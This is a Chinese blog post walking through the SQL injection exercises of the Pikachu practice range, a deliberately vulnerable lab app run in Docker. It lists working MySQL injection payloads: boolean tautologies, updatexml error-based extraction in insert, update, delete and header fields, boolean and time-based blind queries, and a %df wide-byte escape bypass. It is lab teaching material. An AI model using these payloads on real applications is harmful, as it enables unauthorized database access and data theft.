pikachu靶场学习(四)

网友投稿 325 2022-10-06


pikachu靶场学习(四)

pikachu靶场

环境

虚拟机192.168.48.130docker+centos8

安装

docker search pikachu docker pull area39/pikachu docker images vi pikachu.sh docker run -dt --name pikachu -p 80:80 --rm area39/pikachu chmod +x pikachu.sh ./pikachu docker ps ----------------------------------------------------------------- docker进入镜像 docker ps 查看containerid docker exec -it containerid /bin/bash mysql -u root -p 数据库密码为空密码

SQL-Inject

数字型注入(post)

这里直接用的火狐拦截重发,稍微方便些打开控制台-网络,上面查询id,找到post请求的这个包,右键编辑重发可以看到下面的请求主体,直接修改里面的参数就可以了

?id=1 or 1=1 ?id=1 or 1 select * from 表 where id='1 or 1=1' select * from 表 where id='1 or 1' 1 or 1为查找全部

字符型注入(get)

这个直接在输入框里测试就好了

' or 1=1# selec * from username where uid= ' ' or 1=1# ' and email=xxx.com #号把后面的内容闭合了,与上面一样 or 1=1,1=1为真,查找全部

搜索型注入

这个跟上面用的一样

' or 1=1# selec * from username where uid= ' ' or 1=1# ' and email=xxx.com #把后面的内容闭合了,与上面一样 or 1=1,1=1为真,查找全部

XX型注入

构造语句如下

1') or 1=1# 1') or 1# select * from 表 where uid=(' ') and email=xxx.com select * from 表 where uid=('1')or 1=1#') and email=xxx.com select * from 表 where uid=1 or 1

"insert/update"注入

1' or updatexml(1,concat(0x7e,database()),0) or' updatexml:mysql对xml文档进行查询和修改的XPATH函数 concat:连接字符串函数 0x7e:assic码中的' ~ ' insert into 表名(name,passwd,sex,phone,address)value(xxx,xxx,xxx,xxx,xxx) insert into 表名(name,passwd,sex,phone,address)value('1' or updatexml(1,concat(0x7e,database()),0) or'',xxx,xxx,xxx,xxx)

update注入在修改个人信息处插入语句

1' or updatexml(1,concat(0x7e,database()),0) or' update 表名 set sex = 'xxx ',phone='xxx',address='xxx',email='xxx' where name = ' ' update 表名 set sex = '1' or updatexml(1,concat(0x7e,database()),0) or'',phone='xxx',address='xxx',email='xxx' where name = '用户名 '

"delete"注入

先提交一条留言,然后在点删除的时候抓包,在?id=xx后加上构造的语句

or updatexml(1,concat(0x7e,database()),0) delete from 表名 where id=57 delete from 表名 where id=57 or updatexml(1,concat(0x7e,database()),0)

"header"注入

抓包后在user-agent处插入语句

1' or updatexml(1,concat(0x7e,database()),0) or'

盲注(base on boolian)

语句后面的 '=112' 其实就是数据库名称的第一个字符的asc码,112对应p

allen' and ascii(substr(database(),1,1))=112#

盲注(base on time)

先测试下看下响应时间判断是否存在注入点

allen' and sleep(3)#

通过延迟来判断数据库的字符判断第一个字符为p

allen' and if((substr(database(),1,1))='p',sleep(3),null)#

也可以通过更改database后的数字来判断数据库不同位置的字符

allen' and if((substr(database(),2,1))='i',sleep(3),null)#

宽字节注入

先输入用户名查询下,在查询的时候抓包单引号会被转义为\' url编码为%5c%df%5c组合为繁体字運,可以使单引号完成闭合将请求中的name的值替换成构造的语句即可

%df' or 1=1# '%df%5c%27 or 1=1#' '運' or 1=1#'


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:Java获取当前时间戳案例详解
下一篇:网络安全:PR Source code Build & to avoid killing
相关文章

 发表评论

暂时没有评论,来抢沙发吧~